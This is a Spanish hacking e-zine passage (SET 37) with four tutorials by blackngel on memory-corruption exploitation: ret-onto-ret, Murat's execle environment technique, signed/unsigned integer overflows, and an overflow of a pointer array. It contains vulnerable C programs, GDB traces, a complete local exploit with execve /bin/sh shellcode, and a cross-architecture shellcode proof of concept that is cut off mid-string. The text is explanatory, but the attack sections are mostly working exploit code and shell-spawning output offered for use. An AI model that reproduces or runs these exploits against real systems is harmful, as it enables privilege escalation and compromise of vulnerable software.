TOP
AutoresTOTAL
LecturasSET 37
123065 visitas
- Contenidos - SET Staff
- Editorial - SET Staff
- Jugando con Frame Pointer - blackngel
- Bazar de SET - Varios Autores
- Tecnica Ret-onto-Ret (bazar) - blackngel
- Tecnica de Murat (bazar) - blackngel
- Overflow de Enteros (bazar) - blackngel
- Un Exploit Automatico (bazar) - blackngel
- Explotando Format Strings - blackngel
- Metodos Return Into To Libc - blackngel
- Ingenieria Social y Estafas - FiLTHyWiNTeR!
- Curso de Electronica 08 - elotro
- Programando Shellcodes IA32 - blackngel
- Proyectos, peticiones, avisos - SET Staff
- Nmap en el Punto de Mira - SET Staff
- Heap Overflows en Linux: I - blackngel
- Analisis CrackMe en Linux - blackngel
- Llaves PGP - SET Staff
Tecnica Ret-onto-Ret (bazar)
Autor: blackngel
-[ 0x03 ]-------------------------------------------------------------------- -[ Bazar de SET ]------------------------------------------------------------ -[ by Varios Autores ]-----------------------------------------------SET-37-- -[ ID ] - [ TITULO ] - [ TEMA ] - [ AUTOR ]- 3x01 Tecnica Ret-onto-Ret Hacking blackngel 3x02 Tecnica de Murat Hacking blackngel 3x03 Overflow de Enteros Hacking blackngel 3x04 Un Exploit Automatico Hacking blackngel -[ 3x01 ]-------------------------------------------------------------------- -[ Tecnica Ret-onto-Ret ]---------------------------------------------------- -[ by blackngel ]------------------------------------------------------------ ^^ *`* @@ *`* HACK THE WORLD * *--* * ## by blackngel <blackngel1@gmail.com> || <black@set-ezine.org> * * * * (C) Copyleft 2009 everybody _* *_ Los creadores de exploits, sobre todo aquellos cuya obsesion es lograr que sus exploits no fallen por culpa de los offsets y las direcciones hardcodeadas, necesitan de tecnicas que aseguren que sus programas de ataque funcionen en la mayoria de las ocasiones. Desde luego, cuando uno presenta una prueba de concepto, desea que esta no te deje quedar mal ante imprevistos. La tecnica "ret-onto-ret", es una tecnica que muchos obvian o que otros no conocen por falta de curiosidad; pero es lo mas sencillo que uno pueda imaginar. En un buffer overflow clasico, siempre se intenta acceder al principio de un buffer local sobreescribiendo la direccion de retorno con el valor de ESP. Luego se utiliza un offset o desplazamiento para caer en el lugar adecuado. La cuestion es que las variables locales no son el unico lugar donde se encuentran los datos proporcionados por el usuario. Por ejemplo, en un programa como este: void vuln(char *str) { char buffer[256]; strcpy(buffer, str); } int main(int argc, char *argv[]) { if (argc > 1) vuln(argv[1]); return 0; } Existen 3 lugares donde podemos encontrar la cadena proporcionada por el usuario: 1) Los argumentos pasados al programa. 2) El buffer local "buffer[]". 3) Los argumentos pasados a la funcion. Vale, el tercer punto es muy importante. Cuando una funcion es llamada, estamos acostumbrados a hacernos una idea de la pila una vez que el prologo de funcion es completado: ESP ! [ buffer(256) ][ EBP ][ EIP ] Pero que hay si seguimos subiendo por la pila: [ buffer(256) ][ EBP ][ EIP ][ &str ] Veamoslo con GDB: blackngel@linux:~$ gcc-3.3 ror.c -o ror blackngel@linux:~$ gdb -q ./ror (gdb) disass vuln Dump of assembler code for function vuln: 0x08048374 <vuln+0>: push %ebp 0x08048375 <vuln+1>: mov %esp,%ebp 0x08048377 <vuln+3>: sub $0x118,%esp 0x0804837d <vuln+9>: mov 0x8(%ebp),%eax 0x08048380 <vuln+12>: mov %eax,0x4(%esp) 0x08048384 <vuln+16>: lea -0x108(%ebp),%eax 0x0804838a <vuln+22>: mov %eax,(%esp) 0x0804838d <vuln+25>: call 0x80482b8 <strcpy@plt> 0x08048392 <vuln+30>: leave 0x08048393 <vuln+31>: ret End of assembler dump. (gdb) break *vuln+9 Breakpoint 1 at 0x804837d (gdb) run `perl -e 'print "A"x300'` Starting program: /home/blackngel/ror `perl -e 'print "A"x300'` Breakpoint 1, 0x0804837d in vuln () (gdb) x/4x $ebp 0xbffff3f8: 0xbffff408 0x080483ba 0xbffff5fd 0x080483e0 (gdb) | | | | | | EBP EIP *str Es esto cierto? (gdb) x/16x 0xbffff5fd 0xbffff5fd: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff60d: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff61d: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff62d: 0x41414141 0x41414141 0x41414141 0x41414141 Parece ser que si, y ademas no encontramos ninguna basura delante, asi que de sobreescribir EIP con esta direccion, no precisariamos de offset alguno. Vale esto esta bien, pero que pasa si nos encontramos con un programa como el siguiente: [-----] #include <stdio.h> int func(char *arg) { char buf[40]; strncpy(buf , arg , 64); return 0; } int main(int argc, char *argv[]) { if(strchr(argv[1] , 0xbf)) { printf("Intento de Hacking\n"); exit(1); } func(argv[1]); return 0; } [-----] Exacto, que no podemos introducir en nuestra cadena ningun caracter "0xbf", entonces podemos ir olvidandonos de sobreescribir EIP con "0xbffff5fd". Aqui "ret-onto-ret" al rescate: El puntero ESP es importantisimo para la comprension de este metodo. Cuando una funcion retorna, es decir, el epilogo de funcion es ejecutado, ESP se iguala a EBP, luego el siguente valor en la pila es POPeado, que resulta ser EIP, y lo que ahi se encuentre sera ejecutado: Antes: -> ESP [ variables locales] [ EBP ] [ EIP ] Despues: -> ESP [ variables locales] [ EBP ] [ EIP ] Bien, asi que con una instruccion "ret" tomamos EIP, y ejecutamos su contenido, cabe pensar que, si ejecutamos otro "ret", podemos POPear otro valor como EIP y ejecutar su contenido. El objetivo de "ret-onto-ret" es sobreescribir en primera instancia EIP con la direccion de una instruccion "ret". Cuando esta instruccion sea ejecutada, hara su funcion, que es POPear otro valor de la pila, en este caso como el EIP real ya fue POPeado, lo siguiente encima de la pila sera &str, y el flujo del programa ejecutara lo que alli se encuentre. Es muy facil encontrar una instruccion "ret" dentro de un programa, ya que siempre hay un minimo de una funcion, ademas los binarios de Linux incluyen otros metodos internos. Veamos: blackngel@mac:~$ objdump -d ./ror ./ror: file format elf32-i386 Disassembly of section .init: 080482c4 <_init>: ........ ........ 80482f2: c9 leave 80482f3: c3 ret Disassembly of section .plt: ........ ........ 080483a0 <__do_global_dtors_aux>: ........ ........ 80483dd: c3 ret 80483de: 66 90 xchg %ax,%ax 080483e0 <frame_dummy>: ........ ........ 8048413: c3 ret 08048414 <func>: ........ ........ 8048439: c9 leave 804843a: c3 ret 0804843b <main>: ........ ........ 8048494: c9 leave ........ ........ 080484a0 <__libc_csu_fini>: ........ ........ 80484a4: c3 ret ........ ........ 080484b0 <__libc_csu_init>: ........ ........ 8048509: c3 ret 0804850a <__i686.get_pc_thunk.bx>: 804850a: 8b 1c 24 mov (%esp),%ebx 804850d: c3 ret ........ ........ 08048510 <__do_global_ctors_aux>: ........ ........ 804853f: c3 ret Disassembly of section .fini: 08048540 <_fini>: ........ ........ 804855a: c9 leave 804855b: c3 ret Bien, entonces parece que podemos aburrirnos escogiendo cualquiera de las direcciones, probemos por ejemplo con la que se encuentra en la seccion DTORS: "0x080483dd". Comprobemos que ocurre: (gdb) run `perl -e 'print "A"x60 . "\xdd\x83\x04\x08"'` Start program: /home/blackngel/ror `perl -e 'print "A"x60 . "\xdd\x83\x04\x08"'` Program received signal SIGSEGV, Segmentation fault. 0xbffff726 in ?? () (gdb) x/4x 0xbffff726 0xbffff726: 0x080483dd 0x47504700 0x4547415f 0x495f544e (gdb) x/4x 0xbffff726-12 0xbffff71a: 0x41414141 0x41414141 0x41414141 0x080483dd (gdb) Esto es interesante, el programa no da el fallo de segmentacion justo al principio del parametro de funcion, sino justo al final. Esto tiene una facil explicacion, y es que en realidad "0x41" es una instruccion que en ensamblador significa: "inc %ecx". Como esta operacion es valida, el registro ECX ira aumentando como si eso fuera algo decidido por el programador. Mucha gente tiende a pensar que en linux solo hay una instruccion NOP, que es "0x90", y eso no es cierto, lo que ocurre es que es la mas inocua, ya que no modifica nada importante en el sistema. Pero a veces el incremento de un registro no influye para nada en la ejecucion de un Shellcode, piensa que si este Shellcode tiene una instruccion "xor ecx,ecx" al principio, da igual cuanto se haya incrementado antes de llegar a el. De modo que podrias utilizarlo como si de un "0x90" se tratase. No te preocupes por todo esto, la segunda instruccion "ret" saltara al principio de la cadena. Pongamos un Shellcode en su lugar: blackngel@linux:~$ ./ror `cat /tmp/sc``perl -e 'print "A" x 15 . "\xdd\x83\x04\x08"'` sh-3.2$ exit exit blackngel@linux:~$ Yeah! Aqui lo teneis "ret-onto-ret" para su uso y disfrute! *EOF* -[ 3x02 ]-------------------------------------------------------------------- -[ Tecnica de Murat ]-------------------------------------------------------- -[ by blackngel ]------------------------------------------------------------ ^^ *`* @@ *`* HACK THE WORLD * *--* * ## by blackngel <blackngel1@gmail.com> || <black@set-ezine.org> * * * * (C) Copyleft 2009 everybody _* *_ La tecnica de Murat es util cuando el buffer que si intenta atacar es realmente pequeno. En estas situaciones los argumentos no pueden ser utilizados para almacenar todo nuestro Shellcode. Puedes pensar que lo mas sencillo es almacenar el shellcode en una variable de entorno y apuntar a el, y si bien esto es cierto, dado que nosotros buscamos tecnicas que nos permitan afinar mucho mas el exito de nuestro exploit, vamos a hacer que el exploit no precise de interaccion ninguna con el usuario. La llamada execle(), permite ejecutar un binario con un entorno propio, de modo que cada variable sea seteada de forma individual. Todos los binarios ELF en Linux se mapean a partir de la direccion de memoria "0xbfffffff", esto ya deberias saberlo con tu experiencia. Pero... como esta estructurada la pila desde esta direccion? [HEAP -> ] ... [ <- PILA ] [ARGUMENTOS][ENTORNO][NOMBRE PROGRAMA][4 BYTES] | | Direcciones bajas de memoria 0xbfffffff Bien, los primeros 4 bytes son bytes NULL(0x00), luego viene el nombre del programa (ojo, esto NO es argv[0]). Y luego el entorno especifico del programa. Esto significa que si el entorno solo tuviera una variable. Su direccion seria esta: addr = 0xbfffffff - 4 - strlen(nombre_prog) - strlen(variable) Normalmente esto requiere restar 1 byte mas. Veamos un programa vulnerable: [-----] #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buff[10]; strcpy(buff, argv[1]); return 0; } [-----] blackngel@mac:~/pruebas/bo$ gcc-3.3 murat.c -o murat Ahora solo nos queda ver el exploit: [-----] #include <stdlib.h> #include <stdio.h> #include <string.h> #define BSIZE 144 #define NOMBRE "./murat" char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main(int argc, char *argv[]) { char *p; char *env[] = {shellcode, NULL}; char *vuln[] = {NOMBRE, p, NULL}; int *ptr, addr; int size; int i; size = BSIZE; p = (char *) malloc(size * sizeof(char)); if(p == NULL) { fprintf(stderr, "\nMemoria insuficiente\n"); exit(0); } addr = 0xbffffffa - strlen(shellcode) - strlen(NOMBRE) - 1; printf("Usando direccion: [ %08x ]\n", addr); ptr = (int *)p; for (i = 0; i < BSIZE; i += 4) *(ptr++) = addr; execle(vuln[0], vuln, p, NULL, env); } [-----] En accion: blackngel@mac:~/pruebas/bo$ ./exploit Usando direccion: 0xbfffffbe sh-3.2$ exit exit blackngel@mac:~/pruebas/bo$ PERFECTO! Y ademas, esta tecnica puede aplicarse tambien, como es logico, a buffer's de tamano mayor. La ventaja esta en que la direccion es exacta. Te invito a que utilices GDB para ir volcando valores de la memoria, comenzando con "(gdb) x/s 0xbfffffff-4" y seguir bajando para descubrir todo lo que te puedes encontrar. Es una buena forma de descubrir de un modo practico donde se encuentran todos los parametros que el programa utiliza a lo largo de su ejecucion. Puedes leer mucha mas informacion sobre este tema en el gran paper realizado por el propio Murat [murat(at)enderunix.org], en la siguiente direccion: [1] Buffer Overflows Demystified, by Murat http://gatheringofgray.com/docs/INS/shellcode/bof-stack3-murat.txt *EOF* -[ 3x03 ]-------------------------------------------------------------------- -[ Overflow de Enteros ]----------------------------------------------------- -[ by blackngel ]------------------------------------------------------------ ^^ *`* @@ *`* HACK THE WORLD * *--* * ## by blackngel <blackngel1@gmail.com> || <black@set-ezine.org> * * * * (C) Copyleft 2009 everybody _* *_ Ya que nos ha dado por hablar solo de temas de explotacion, quisiera dar aqui tan solo una pincelada acerca de lo que es un overflow de enteros y como sacar provecho de ellos. Desde luego, esta clase de bug, no es el mas facil de localizar, y para mas inri, no permite una ejecucion de codigo arbitrario tal y como lo consiguen toda clase de buffer overflows. Por el contrario, un overflow de entero provoca comportamientos indefinidos en el programa, que suelen terminar en una Denegacion de Servicio, o por que no, conllevar a alguna clase de overflow siempre que ese entero tome parte a la hora de decidir la longitud de un buffer. Vale, vale, pero que es un overflow de entero? Un entero es una variable que es almacenada en una zona de memoria. Esta zona o espacio es limitado, en un sistema de 32 bits, un entero ocupara 32 bits, y en un sistema de 64 bits, en consecuencia, un entero ocupara 64 bits. Y esto es importante, pues quiere decir que esta clase de variables poseen un valor limite que no deberia ser sobrepasado. Para un entero sin signo de 32 bits, el valor maximo es: 4294967296. Debemos de aclarar ahora que existen dos tipos de entero: los que tienen signo, y los que no lo tienen. Aquellos que tienen signo, utilizan su bit mas significativo (MSB) o bit mas a la izquierda, como senalizador de si el valor almacenado en la variable es positivo o negativo. Los enteros sin signo (unsigned), simplemente no pueden almacenar valores negativos. Con estos conceptos, veamos entonces ahora nuevamente los rangos exactos: o---------------------------------------------o | TIPO | MINIMO | MAXIMO | |---------------|--------------|--------------| |int | -2147483648 | 2147483647 | |---------------|--------------|--------------| |unsigned int | 0 | 4294967296 | |---------------|--------------|--------------| |short | -32768 | 32767 | |---------------|--------------|--------------| |unsigned short | 0 | 65536 | o---------------------------------------------o Pero dejemonos de teoria y vamos a ver un claro ejemplo del problema. El siguiente codigo representa un estilo de programacion inseguro. [-----] #include <unistd.h> #include <stdio.h> #include <stdlib.h> // We are never deceived; we deceive ourselves. - Johann Wolfgang von Goethe void check_id(unsigned int id) { if(id > 10) { printf("\nID = %u\n", id); execl("/bin/sh", "sh", NULL); } else { printf("Not today son\n"); } } int main(int argc, char *argv[]) { int id; sscanf(argv[1], "%d", &id); if(id > 10) { printf("Erm....no\n"); exit(-1); } check_id(id); return 0; } [-----] El analisis es rapido: Si nuestro objetivo es ejecutar el Shell, parece que primero debemos desencadenar la llamada a "check_id()" y para ello "id" tiene que ser un valor inferior a 10. Pero una vez entramos dentro de dicha funcion, la Shell solo sera ejecutada si "id" es superior a 10. Y entonces... Como es esto posible? Dentro de "main()", la variable "id" es declarada como un "int" con signo, lo cual quiere decir que acepta tanto valores positivos como negativos. En cambio, "check_id()" recibe este valor como un "unsigned" lo cual quiere decir que no acepta valores negativos. Esto tiene un efecto desastroso: Si nosotros introducimos como argumento un valor de "-1", "id" pasara limpiamente el primer chequeo, ya que es mas pequeno que "10". No obstante, cuando esta variable es recogida por la funcion "check_id()", se produce un cast a unsigned. Y no piensen que "-1" se convierte a "1", NO, lo que ocurre es que se transforma en el penultimo valor mas grande que puede alcanzar un unsigned. Veamoslo: blackngel@mac:~$ gcc ovi.c -o ovi blackngel@mac:~$ ./ovi -1 ID = 4294967295 sh-3.2$ exit exit blackngel@mac:~$ Este ejemplo ha sido instructivo, aunque no representa realmente lo que es un "integer overflow", ya que el problema se produce al realizar el "cast" y no al desbordar el entero. Veamos nuevamente otro ejemplo: [-----] #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char *argv[]) { int len; unsigned int l; char buffer[256]; int i; len = l = strtoul(argv[1], NULL, 10); printf("\nL = %u\n", l); printf("\nLEN = %d\n", len); if (len >= 256) { printf("\nLongitud excesiva\n"); exit(1); } if (strlen(argv[2]) < l) strcpy(buffer, argv[2]); else printf("\nIntento de HACK\n"); return 0; } [-----] El programa pide dos argumentos: el primero de ellos es la longitud de la cadena que sera pasada como segundo parametro. Ya que el buffer tiene un tamano arbitrario, debemos controlar que esa valor no sea superior a 256, eso es lo que hace la sentencia: if (len >= 256) Pero claro, el usuario puede mentir, diciendo que pasa una cadena de "200" caracteres de largo, y pasando en realidad una muchisimo mas larga. Para evitar esto, se comprueba la longitud de argv[2] antes de copiar su contenido finalmente al buffer: if (strlen(argv[2]) < l) strcpy(buffer, argv[2]); El error radica en que la primera comprobacion se realizado sobre un "int" que en este caso era la variable "len", y la segunda sobre la variable "l" que es unsigned. Veamos una ejecucion normal: [-----] blackngel@mac:~$ gcc-3.3 ovi2.c -o ovi2 blackngel@mac:~$ ./ovi2 200 `perl -e 'print "A"x300'` L = 200 LEN = 200 Intento de HACK blackngel@mac:~$ [-----] Esta claro que este era el clasico intento para enganar al programa. Pero, que ocurriria si logramos desbordar la variable "len". Recordemos que el valor mas grande que puede almacenar es: 2147483647. Si proporcionamos un valor mas grande que este, este cambiara de signo de forma inmediata. No obstante, la variable unsigned "l" si puede almacenar ese valor. Esto provocara la siguiente catastrofe: 3147483648 -> len = -1147483648 3147483648 -> l = 3147483648 if (-1147483648 >= 256) = FALSE /* El programa continua */ if (strlen(argv[2]) < 3147483648) Lo cual quiere decir que el primer chequeo es superado, y cualquier argv[2] con una longitud inferior a 3147483648, sera copiada en el buffer. Esta claro que se producira un desbordamiento: [-----] blackngel@mac:~$ gdb -q ./ovi2 (gdb) run 3147483648 `perl -e 'print "A"x300'` Starting program: /home/blackngel/ovi2 3147483648 `perl -e 'print "A"x300'` L = 3147483648 LEN = -1147483648 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) [-----] Esta es la base del problema, a partir de aqui puedes seguir investigando. Piensa que la mayoria de los desbordamientos de entero se producen por operaciones aritmeticas en las que no se comprueba si el resultado puede ser almacenado en la variable destino. Google es tu amigo, pero la mejor referencia que te puedo proporcionar es un paper de Phrack. Seguro que su lectura sera agradable: Basic Integer Overflows by blexim <blexim@hush.com> http://www.phrack.org/issues.html?issue=60&id=10#article *EOF* -[ 3x04 ]-------------------------------------------------------------------- -[ Un Exploit Automatico ]--------------------------------------------------- -[ by blackngel ]------------------------------------------------------------ ^^ *`* @@ *`* HACK THE WORLD * *--* * ## by blackngel <blackngel1@gmail.com> || <black@set-ezine.org> * * * * (C) Copyleft 2009 everybody _* *_ Todo comienza con una sencilla pregunta: Existe alguna aplicacion vulnerable a overflows que no precise de una direccion de retorno para su explotacion? La respuesta es afirmativa. Y en resumen, esto ocurre cuando EIP es desbordado con punteros establecidos por el propio programa y no con una cadena de caracteres como suele ser lo comun. Entremos directamente en materia con un programa vulnerable: [-----] #include <stdio.h> int main(int argc, char *argv[]) { char *ptrs[1024]; char *instring; char *c; char **p; if (argc < 2) exit(1); instring = argv[1]; printf("PTRS = [ %p ]\n", &ptrs); printf("INSTRING = [ %p ]", &instring); for (p = ptrs, c = instring; *c != 0; c++) { if (*c == '/') { *p=c; p++; } } } [-----] La funcion de este programa es almacenar en un buffer de punteros de tipo char, todos los directorios padres de de un fichero una vez que su PATH ha sido especificado. Imaginemos que pasamos como argumento lo siguiente: /home/black/bof/prueba.c Alguno podria pensar que nuestro buffer quedaria de la siguiente forma: ptrs[0] = "/home" ptrs[1] = "/black" ptrs[2] = "/bof" ptrs[3] = "/prueba.c" Y si bien tiene bastante buena pinta, esto no es realmente lo que ocurre. Lo cierto es que 'ptrs[]' almacena punteros a esas cadenas, lo cual es igual que decir que almacena las direcciones de memoria donde estas se encuentran. Algo asi: ptrs[0] = 0xbffffxxw -> "/home" ptrs[1] = 0xbffffxxx -> "/black" ptrs[2] = 0xbffffxxy -> "/bof" ptrs[3] = 0xbffffxxz -> "/prueba.c" Teniendo esto en mente, podemos ver que el programa no comprueba la longitud del parametro que sera procesado por el bucle 'for(;;)'. Entonces ahora nos planteamos dos preguntas: 1) Que ocurre si pasamos una cadena de longitud superior a 1024 tal que asi: "/aaaaaaaaaaaaaaaaaaaaaaa........(mas de 1024)" ? La respuesta es que no ocurre nada, ya que el bucle solo encontrara un caracter '/', y por lo tanto solo almacenara un puntero en ptrs[]. Esto es para que veas nuevamente que ptrs[] no se llena con caracteres, sino con punteros. 2) Que ocurre si pasamos una cadena de longitud superior a 1024 tal que asi: "////////////////////////........(mas de 1024)" ? Pues que acabaremos sobreescribiendo EIP con un puntero a una cadena de caracteres, algo como "0xbffffxxx". Bien, imaginemos entonces que calculamos la longitud exacta para no sobreescribir mas alla de EIP, y que la cadena pasada es algo como esto: "//////////////////(mas y mas)///AAAA" ^ |- 0xbffff643 Supongamos que la direccion del primer caracter '/' es correcta, entonces ptrs[] tendra el siguiente aspecto: ESP--> **p *c *instring; ptrs[0] = 0xbffff643 -> "/" ptrs[1] = 0xbffff644 -> "/" ptrs[2] = 0xbffff645 -> "/" ptrs[3] = 0xbffff646 -> "/" ....... ....... ptrs[1024] = 0xbffffA43 -> "/" EBP-->ptrs[1025] = 0xbffffA44 -> "/" EIP-->ptrs[1026] = 0xbffffA45 -> "/AAAA" Correcto, hemos sobreescrito EIP con la direccion "0xbffffA45", lo cual provocara que cuando la funcion retorne, lo que haya en esa direccion sera ejecutado, que sera "/AAAA". En nuestro caso especifico, esa cadena no provocara nada, ya que la letra A en hexadecimal se traduce como 0x41, y traducido a una instruccion de procesador con arquitectura x86, significa "inc ecx". Digamos que nuestra aplicacion pasara de largo con estas instrucciones que solo incrementan el registro ECX, pero pronto se encontrara con codigos erroneos que seguro provocaran un fallo de segmentacion. Que ocurre entonces si colocamos ahi una Shellcode de nuestra preferencia? Exacto, que esta se ejecutara limpiamente, y no hemos tenido la necesidad de averiguar su direccion ni de sobreescribir EIP con esta, ya que la misma aplicacion lo ha hecho por nosotros de forma automatica, gracias al puntero que ha machacado su direccion original. Antes de pasar directamente al exploit, vamos a examinar un poco la pila para ver si esto es cierto: blackngel@mac:~$ gcc-3.3 ins.c -o ins blackngel@mac:~$ ./ins `perl -e 'print "/"x1050'` PTRS = [ 0xbfffe160 ] INSTRING = [ 0xbfffe15c ] Fallo de segmentacion blackngel@mac:~$ En este ejecucion normal, vemos que la estructura que mostramos anteriormente es correcta, "instring" esta por detras del buffer "ptrs[]", teniendo su direccion base, miremos dentro del stack hasta llegar a EBP y EIP: blackngel@mac:~$ gdb -q ./ins (gdb) disass main Dump of assembler code for function main: 0x080483a4 <main+0>: push %ebp 0x080483a5 <main+1>: mov %esp,%ebp 0x080483a7 <main+3>: sub $0x1028,%esp .......... .......... 0x08048454 <main+176>: leave 0x08048455 <main+177>: ret End of assembler dump. (gdb) break *main+176 Breakpoint 1 at 0x08048454 (gdb) run `perl -e 'print "/" x 1050'` Starting program: /home/blackngel/ins `perl -e 'print "/"x1050'` PTRS = [ 0xbfffe110 ] INSTRING = [ 0xbfffe10c ] Breakpoint 1, 0x08048454 in main () (gdb) x/16x 0xbfffe110 0xbfffe110: 0xbffff310 0xbffff311 0xbffff312 0xbffff313 0xbfffe120: 0xbffff314 0xbffff315 0xbffff316 0xbffff317 0xbfffe130: 0xbffff318 0xbffff319 0xbffff31a 0xbffff31b 0xbfffe140: 0xbffff31c 0xbffff31d 0xbffff31e 0xbffff31f (gdb) Hasta aqui todo bien, todas las direcciones tienen una diferencia de un byte, ya que esta es la longitud que hay entre un caracter "/" y el siguiente, si hubieramos utilizado una cadena como "/aaa/aaa/aaa" la distancia de cada puntero, seria obviamente de 4. Examinemos EBP y EIP: (gdb) x/4x $ebp // EBP //EIP 0xbffff118: 0xbffff712 0xbffff713 0xbffff714 0xbffff715 Asi que EIP apunta a 0xbffff713, que es la direccion de un caracter "/". Sera verdad? (gdb) x/4x 0xbffff713 0xbffff713: 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f Ya todos sabeis que el codigo hexadecimal de "/" es "0x2f". Bien, ahora solo queda buscar el punto exacto en que solo sobreescribamos EIP, de modo que lo que siga sea solo un Shellcode y no mas caracteres "/": (gdb) run `perl -e 'print "/"x1028'` ... PTRS = [ 0xbfffe130 ] INSTRING = [ 0xbfffe12c ] len = atoi(argv[1]); (gdb) x/4x $ebp 0xbffff138: 0xbffff728 0xbffff729 0x00000002 0xbffff1c4 (gdb) x/x 0xbffff729 0xbffff729: 0x5047002f -> Solo se ha colado un caracter "/", perfecto! En principio solo hay un detalle que salta a la vista, y es que lo primero se ejecutara antes de nuestro shellcode, sera el 0x2f, pero comprobaremos pronto que se traduce a una instruccion del procesador inofensiva que nos permite continuar sin problema alguno. Debido a lo especial de esta vulnerabilidad, ya que en ningun momento depende de la direccion de la shellcode, es el caso perfecto para crear un exploit que sea efectivo en multiples arquitecturas y diferentes sistemas operativos. Nosotros vamos seguidamente a desarrollar un exploit a tal efecto, y para ello nos ayudaremos del Shellcode Abarcador de Arquitectura y Sistemas Operativos publicado en el articulo "Architecture Spanning Shellcode" [1] escrito por "eugene@gravitino.net" (articulo de recomendada lectura). El siguiente programa, gracias al Shellcode utilizado, deberia ejecutarse correctamente en los siguientes sistemas y arquitecturas: - x86 -> Linux, FreeBSD, NetBSD, OpenBSD - MIPS/Irix - Sparc/Solaris - PPC/AIX (ver codigo) [-----] /* * PoC by blackngel */ #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define VULNPROG "./ins" #define DEFAULT_LEN 2048 /* * Architecture/OS Spanning Shellcode * * corre en x86 (freebsd, netbsd, openbsd, linux), MIPS/Irix, Sparc/Solaris * y PPC/AIX (las plataformas AIX requieren el flag -DAIX del compilador) * * eugene@gravitino.net */ char sc[] = /* voodoo */ "\x37\x37\xeb\x7b" /* x86: aaa; aaa; jmp 116+4 */ /* MIPS: ori $s7,$t9,0xeb7b */ /* Sparc: sethi %hi(0xdFADEc00), %i3 */ /* PPC/AIX: addic. r25,r23,-5253 */ "\x30\x80\x01\x14" /* MIPS: andi $zero,$a0,0x114 */ /* Sparc: ba,a +1104 */ /* PPC/AIX: addic r4,r0,276 */ "\x1e\xe0\x01\x01" /* MIPS: bgtz $s7, +1032 */ /* PPC/AIX: mulli r23,r0,257 */ "\x30\x80\x01\x14" /* llena el slot de retardo de ramificacion de MIPS con el anterior nop de MIPS / AIX */ /* PPC/AIX shellcode by LAST STAGE OF DELIRIUM *://lsd-pl.net/ */ "\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */ "\x40\x82\xff\xfd" /* bnel <syscallcode> */ "\x7e\xa8\x02\xa6" /* mflr r21 */ "\x3a\xc0\x01\xff" /* lil r22,0x1ff */ "\x3a\xf6\xfe\x2d" /* cal r23,-467(r22) */ "\x7e\xb5\xba\x14" /* cax r21,r21,r23 */ "\x7e\xa9\x03\xa6" /* mtctr r21 */ "\x4e\x80\x04\x20" /* bctr */ "\x04\x82\x53\x71" "\x87\xa0\x89\xfc" "\x69\x68\x67\x65" "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */ "\x44\xff\xff\x02" /* svca 0x0 */ "\x3a\xb5\xff\xf8" /* cal r21,-8(r21) */ "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel <shellcode> */ "\x7f\xe8\x02\xa6" /* mflr r31 */ "\x3b\xff\x01\x20" /* cal r31,0x120(r31) */ "\x38\x7f\xff\x08" /* cal r3,-248(r31) */ "\x38\x9f\xff\x10" /* cal r4,-240(r31) */ "\x90\x7f\xff\x10" /* st r3,-240(r31) */ "\x90\xbf\xff\x14" /* st r5,-236(r31) */ "\x88\x55\xff\xf4" /* lbz r2,-12(r21) */ "\x98\xbf\xff\x0f" /* stb r5,-241(r31) */ "\x7e\xa9\x03\xa6" /* mtctr r21 */ "\x4e\x80\x04\x20" /* bctr */ "/bin/sh" /* x86 BSD/Linux execve() por mi */ "\xeb\x29" /* jmp */ "\x5e" /* pop %esi */ "\x31\xc0" /* xor %eax, %eax */ "\x50" /* push %eax */ "\x88\x46\x07" /* mov %al,0x7(%esi) */ "\x89\x46\x0c" /* mov %eax,0xc(%esi) */ "\x89\x76\x08" /* mov %esi,0x8(%esi) */ "\x8d\x5e\x08" /* lea 0x8(%esi),%ebx */ "\x53" /* push %ebx */ "\x56" /* push %esi */ "\x50" /* push %eax */ /* configurar registros para linux */ "\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */ "\x8d\x56\x08" /* lea 0x8(%esi),%edx */ "\x89\xf3" /* mov %esi, %ebx */ /* distinguir entre BSD & Linux */ "\x8c\xe0" /* movl %fs, %eax */ "\x21\xc0" /* andl %eax, %eax */ "\x74\x04" /* jz +4 */ "\xb0\x3b" /* mov $0x3b, %al */ "\xeb\x02" /* jmp +2 */ "\xb0\x0b" /* mov $0xb, %al */ "\xcd\x80" /* int $0x80 */ "\xe8\xd2\xff\xff\xff" /* call */ "\x2f\x62\x69\x6e" /* /bin */ "\x2f\x73\x68" /* /sh */ /* * rellenar los shellcodes de MIPS/Irix & Sparc/Solaris * jumps de > 0x0101 bytes son llevados a cabo en ambas * plataformas para evitar bytes NULL en las instrucciones jump */ "2359595912811011811145128130124118116118121114127231291301241171" "2911813245571341291181211101231241181291101234512913012411712911" "8132455712712412112411245123118120128451291301241171291181324512" "9128118133114451141004559113130110111451141171294511512445134129" "1301101141112311411712945571171121291181321284511411712945113123" "1104512312412712911211412111445114117129451151244511312112712413" "2451141171294559595913212412345113121127124132451271301244512811" "8451281181179797117118128451181284512413012745132124127121113451" "2312413259595945129117114451321241271211134512411545129117114451" "1412111411212912712412345110123113451291171144512813211812911211" "7574512911711423111114110130129134451241154512911711445111110130" "1135945100114451141331181281294513211812911712413012945128120118" "1234511212412112412757451321181291171241301294512311012911812412" "31101211181291345745132118" /* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso */ "\xaf\xa0\xff\xfc" /* sw $zero, -4($sp) */ "\x24\x06\x73\x50" /* li $a2, 0x7350 */ "\x04\xd0\xff\xff" /* bltzal $a2, dpatch */ "\x8f\xa6\xff\xfc" /* lw $a2, -4($sp) */ /* a2 = (char **) envp = NULL */ "\x24\x0f\xff\xcb" /* li $t7, -53 */ "\x01\xe0\x78\x27" /* nor $t7, 